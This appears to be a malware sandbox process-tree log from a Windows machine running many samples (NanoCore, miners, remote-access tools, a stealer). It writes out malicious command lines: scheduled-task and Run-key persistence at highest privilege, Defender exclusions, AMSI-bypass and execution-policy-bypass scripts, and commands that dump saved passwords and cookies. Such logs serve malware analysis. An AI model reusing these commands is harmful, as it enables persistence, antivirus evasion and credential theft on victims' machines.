C:\Users\Admin\AppData\Local\Temp\a\IcarusLite-v1.1.13-win.exeIcarusLite-v1.1.13-win.exe4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\downloader.exedownloader.exe3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\77B0.tmp\77B1.tmp\77B2.bat C:\Users\Admin\AppData\Local\Temp\a\downloader.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\Service.exeService.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\ChromeUpdate.exeChromeUpdate.exe3⤵
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 04⤵
- Power Settings
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\bnoaprihjatuasss.exebnoaprihjatuasss.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\putty.exeputty.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\cvf.execvf.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\Install.exeInstall.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"1⤵
-
C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe"2⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "schtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F"3⤵
-
C:\Windows\System32\schtasks.exeschtasks /Create /TN crypto_nuke_task /TR \"C:\Users\Admin\AppData\Local\Temp\2to1ep.exe\" /SC ONLOGON /RL HIGHEST /F4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.execmd.exe /C start c:\Windows\System32\Taskmgr.exe3⤵
-
\??\c:\Windows\System32\Taskmgr.exec:\Windows\System32\Taskmgr.exe4⤵
-
-
-
C:\Windows\SYSTEM32\mshta.exemshta.exe sweetnessgivenmebestthingsforever.hta3⤵
-
-
C:\Windows\System32\a\Ebu.exeEbu.exe3⤵
-
-
C:\Windows\System32\a\loader.exeloader.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
-
-
-
C:\Windows\System32\a\g64.exeg64.exe3⤵
-
-
C:\Windows\System32\a\conhost.execonhost.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $action = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Local\PiKqNTCbmrHPacS\SecurityUpdater.exe.exe' $trigger = New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask -Action $action -Trigger $trigger -TaskName 'SecurityUpdater.exe-9931' -RunLevel Highest "4⤵
-
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\cmd.exe" /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\Google\Chrome\Application'"4⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" Get-MpPreference | Select-Object -ExpandProperty ExclusionPath4⤵
-
-
-
C:\Windows\System32\a\pardufrigi_installer_1.0.p1.exepardufrigi_installer_1.0.p1.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i ScreenConnect.ClientSetup.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\rustdesk-1.2.3-2-x86_64.exerustdesk-1.2.3-2-x86_64.exe3⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\.\rustdesk.exe"4⤵
-
C:\Windows\system32\icacls.exe"icacls" C:\ProgramData\RustDesk\shared_memory_portable_service /grant *S-1-1-0:(OI)(CI)F /T5⤵
- Modifies file permissions
-
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --portable-service5⤵
-
C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe"C:\Users\Admin\AppData\Local\rustdesk\rustdesk.exe" --run-as-system6⤵
-
-
-
-
-
C:\Windows\System32\a\PPTV(pplive)_forap_1084_9993.exePPTV(pplive)_forap_1084_9993.exe3⤵
-
-
C:\Windows\System32\a\dajoke2.exedajoke2.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe Approved%20Document%23402.vbs3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approved%20Document%23D53LU.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe%E7%BD%91%E6%98%93%E4%BA%91%E9%9F%B3%E4%B9%90.exe3⤵
-
-
C:\Windows\System32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe3⤵
-
C:\Windows\System32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exeC:\Windows\System32\a\%E5%88%92%E5%AD%A6%E5%8F%B7V2--%E6%9E%81%E9%80%9F%E7%89%88.exe4⤵
-
-
-
C:\Windows\System32\a\beacon.exebeacon.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Approval3546.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Ref62535.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\whatever.exewhatever.exe3⤵
-
-
C:\Windows\System32\a\fscan32.exefscan32.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i MicrosoftTeamUpdate.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\namuvpnxp.exenamuvpnxp.exe3⤵
-
-
C:\Windows\System32\a\imgs.exeimgs.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"C:\Users\Admin\AppData\Local\Temp\ahC2p0sVNkxGSe7a.exe"4⤵
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AlternativeEdgeCookies-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\FirefoxCookies-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\InstalledApps-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\InstalledApps-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\InstalledApps-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /shtml "C:\Users\Admin\AppData\Roaming\watch-output_20260625103540.html"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ChromeV20-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\BrowserHistory-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\DefenderLogs-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\WorkingTasks-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Bookmarks-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Bookmarks-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ProductKeys-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\ExtensionsView-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\Autofill-output_20260625103540.txt"5⤵
-
-
C:\Windows\SysWOW64\grpconv.exe"C:\Windows\SysWOW64\grpconv.exe" /stext "C:\Users\Admin\AppData\Roaming\AllPasswords-output_20260625103540.txt"5⤵
-
-
-
C:\ProgramData\WindowsDataC.exe"C:\ProgramData\WindowsDataC.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RunIt.exe"C:\Users\Admin\AppData\Local\Temp\RunIt.exe"4⤵
-
-
-
C:\Windows\System32\a\NAMUVPN32.exeNAMUVPN32.exe3⤵
-
-
C:\Windows\System32\a\NAMUVPN7.exeNAMUVPN7.exe3⤵
-
-
C:\Windows\System32\a\namuvpnx2.exenamuvpnx2.exe3⤵
-
-
C:\Windows\System32\a\namu864.exenamu864.exe3⤵
-
-
C:\Windows\System32\a\DebugView%2b%2b.exeDebugView%2b%2b.exe3⤵
-
-
C:\Windows\System32\a\IMG001.exeIMG001.exe3⤵
-
-
C:\Windows\System32\a\ShellHost.exeShellHost.exe3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\System32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\System32\a\TempSpoofer.exeTempSpoofer.exe3⤵
-
-
C:\Windows\System32\a\delfino-g3.exedelfino-g3.exe3⤵
-
-
C:\Windows\System32\a\01.exe01.exe3⤵
-
-
C:\Windows\System32\a\RD.exeRD.exe3⤵
-
-
C:\Windows\System32\a\fastping_silent_v4.exefastping_silent_v4.exe3⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i Payment_Receipt_11_28_2025.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\GMSSetupX86.exeGMSSetupX86.exe3⤵
-
-
C:\Windows\System32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\System32\a\setup_smart.exesetup_smart.exe3⤵
-
-
C:\Windows\System32\a\NanoCore_Portable.exeNanoCore_Portable.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File stage1.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File amsibypass.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\a\37cqsj.exe37cqsj.exe3⤵
-
-
C:\Windows\System32\a\Bexitor%20Installer.exeBexitor%20Installer.exe3⤵
-
-
C:\Windows\System32\a\EDMSLauncherSetup.exeEDMSLauncherSetup.exe3⤵
-
-
C:\Windows\System32\a\Installer_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exeInstaller_%E6%99%BA%E8%83%BD%E7%BF%BB%E8%AF%91%E5%AE%98_r1.7.9.exe3⤵
-
-
C:\Windows\System32\a\%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe%C3%83%C2%A5%C3%82%C2%A5%C3%82%C2%87%C3%83%C2%A5%C3%82%C2%A6%C3%82%C2%99%C3%83%25...~311~...%EF%BF%BD%C3%82%C2%A8_2_10004379.exe3⤵
-
-
C:\Windows\System32\a\HorionInjector.exeHorionInjector.exe3⤵
-
-
C:\Windows\System32\a\DowOnline.Installer.exeDowOnline.Installer.exe3⤵
-
-
C:\Windows\SYSTEM32\msiexec.exemsiexec.exe /i dev.msi3⤵
- Event Triggered Execution: Installer Packages
-
-
C:\Windows\System32\a\offlinepackv4.exeofflinepackv4.exe3⤵
-
-
C:\Windows\System32\a\pieletJF_vm.exepieletJF_vm.exe3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -File 4aa9fqc792.ps13⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\a\Microsoftbs.exeMicrosoftbs.exe3⤵
-
-
C:\Windows\System32\a\build.exebuild.exe3⤵
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe envifa.vbs3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\5A08AA7F.ps1"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe sostener2.vbs3⤵
-
C:\Users\Admin\AppData\Roaming\Axam.exe"C:\Users\Admin\AppData\Roaming\Axam.exe" "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass "C:\Users\Admin\AppData\Local\Temp\30F72A7F.ps1"4⤵
-
-
-
C:\Windows\System32\a\jqqvLru0VAiH3z.exejqqvLru0VAiH3z.exe3⤵
-
-
C:\Windows\System32\a\haozip.100021.exehaozip.100021.exe3⤵
-
-
C:\Windows\System32\a\MIse.exeMIse.exe3⤵
-
-
C:\Windows\System32\a\lol11.exelol11.exe3⤵
-
-
C:\Windows\System32\a\1210.exe1210.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 26160 -s 1484⤵
- Program crash
-
-
-
C:\Windows\System32\a\1488.exe1488.exe3⤵
-
-
C:\Windows\System32\a\lol.exelol.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 22748 -s 1604⤵
- Program crash
-
-
-
C:\Windows\System32\a\lol1.exelol1.exe3⤵
-
-
C:\Windows\System32\a\tlp.exetlp.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 11712 -s 1604⤵
- Program crash
-
-
-
C:\Windows\System32\a\bsg.exebsg.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 25348 -s 1644⤵
- Program crash
-
-
-
C:\Windows\System32\a\123.exe123.exe3⤵
-
-
C:\Windows\System32\a\cd4.execd4.exe3⤵
-
C:\Windows\System32\a\cd4.execd4.exe4⤵
-
-
-
C:\Windows\System32\a\LOIC.exeLOIC.exe3⤵
-
-
C:\Windows\System32\a\steamcmd.exesteamcmd.exe3⤵
-
-
C:\Windows\System32\a\mely.exemely.exe3⤵
-
-
C:\Windows\System32\a\Pinaview.exePinaview.exe3⤵
-
-
C:\Windows\System32\a\Windows.x64.silent.CPU.exeWindows.x64.silent.CPU.exe3⤵
-
-
C:\Windows\System32\a\better.exebetter.exe3⤵
-
-
C:\Windows\System32\a\ZJQPPAJN.exeZJQPPAJN.exe3⤵
-
-
C:\Windows\System32\a\RustMe.exeRustMe.exe3⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /c DebugConfig.bat3⤵
-
-
C:\Windows\System32\a\WxWorkMultiOpen.exeWxWorkMultiOpen.exe3⤵
-
-
C:\Windows\System32\a\RustMeDebyg.exeRustMeDebyg.exe3⤵
-
-
C:\Windows\System32\a\WindowsUpdate.exeWindowsUpdate.exe3⤵
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 91EEABA96C94DCFD8D4AA9C4DC849083 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIA56E.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240757640 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5BAC41F199AB422BA101A2064B569B88 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI494F.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240805156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding B55DBC6D3660E522A099B730AD46E66A C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI4207.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240872531 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding A3427BDBCDADCDFE0EDA4966F6201323 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIDDCA.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240919015 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 20BA1922AA47F323E13DA868AC349A78 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIFE81.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240930156 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding FCB1898916B22DE668AB882FC1DE04C5 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI53B0.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241015265 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5994.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241143187 11 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiMotw3⤵
-
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF505.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241249421 16 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.CheckMsiFileName3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding E68C054A99547154ADD69A479FE5BF62 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI7657.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241128484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 5459FC0A4FE2E2763E12C2DD1A1BFD89 C2⤵
-
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI37BE.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_241235250 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
-
C:\ProgramData\Chrome141\Chrome140.exeC:\ProgramData\Chrome141\Chrome140.exe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 1048 -ip 10481⤵
-
C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"1⤵
-
C:\Program Files (x86)\CentraStage\CagService.exe"C:\Program Files (x86)\CentraStage\CagService.exe"1⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe1⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Program Files (x86)\CentraStage\Gui.exe"C:\Program Files (x86)\CentraStage\Gui.exe"1⤵
-
C:\ProgramData\Google\Chrome\updater.exeC:\ProgramData\Google\Chrome\updater.exe1⤵
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\svchost.exeC:\Windows\SysWOW64\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exeC:\Users\Admin\AppData\Roaming\SubDir\updater.exe1⤵
-
C:\Windows\System32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\updater.exe" /rl HIGHEST /f2⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\SQWlhISJt89A.bat" "2⤵
-
C:\Windows\System32\chcp.comchcp 650013⤵
-
-
C:\Windows\System32\PING.EXEping -n 10 localhost3⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"C:\Users\Admin\AppData\Roaming\SubDir\updater.exe"3⤵
-
-
-
C:\Windows\System32\a\g64.exe"C:\Windows\System32\a\g64.exe" service1⤵
-
C:\Windows\System32\a\g64.exe"C:\Windows\System32\a\g64.exe" Global\GotoHTTP_12⤵
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k PPTVServiceGroup1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -background1⤵
-
C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe"C:\Program Files (x86)\Common Files\PPLiveNetwork\PPAP.exe" -Embedding1⤵
-
C:\Program Files (x86)\PPLive\PPTV\PPLive.exe"C:\Program Files (x86)\PPLive\PPTV\PPLive.exe" /LoadModule "C:\Program Files (x86)\PPLive\PPTV\3.1.5.0065\components\IEBrowser.dll" -N "http://list.client.pplive.cn/v31/index/1.html"2⤵
-
-
C:\Windows\Media\mppr.exeC:\Windows\Media\mppr.exe1⤵
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /rl highest /tn "Launch Adobe CCXProcess" /tr "C:\Windows\Media\mppr.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c schtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon & exit2⤵
-
C:\Windows\System32\schtasks.exeschtasks /create /f /rl highest /tn "XCCProcess" /tr "C:\Windows\INF\usbhub\usbperfsym.exe" /sc onlogon3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c sc query "System Diagnostics Host" & exit2⤵
-
C:\Windows\System32\sc.exesc query "System Diagnostics Host"3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\cmd.exe"cmd" /c netsh advfirewall firewall show rule name="XCCProcess" & exit2⤵
-
C:\Windows\System32\netsh.exenetsh advfirewall firewall show rule name="XCCProcess"3⤵
- Modifies Windows Firewall
-
-
-
C:\PROGRA~2\PPLive\PPTV\PPLive.exeC:\PROGRA~2\PPLive\PPTV\PPLive.exe1⤵
-
C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe"C:\PROGRA~2\PPLive\PPTV\3.1.5.0065\PPLiveU.exe" /LoadModule ProductUpdate.dll /B /P1 1 /P2 9000 /W1 1351902⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --no-first-run --disable-fre --no-default-browser-check --disable-background-networking --disable-sync --disable-gpu --mute-audio --new-window1⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x124,0x128,0x12c,0xfc,0x130,0x7ff86732c728,0x7ff86732c734,0x7ff86732c7402⤵
-
-
C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exeC:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe1⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c taskkill /f /im tftp.exe & tskill tftp.exe2⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im tftp.exe3⤵
- Kills process with taskkill
-
-
-
C:\Users\Admin\AppData\Local\Temp\tftp.exe"C:\Users\Admin\AppData\Local\Temp\tftp.exe"2⤵
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ2⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "" /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" /t REG_SZ3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "UAC" /SC ONLOGON /F /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c schtasks /create /tn "UAC" /RU "SYSTEM" /SC ONLOGON /F /V1 /RL HIGHEST /TR "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe"2⤵
-
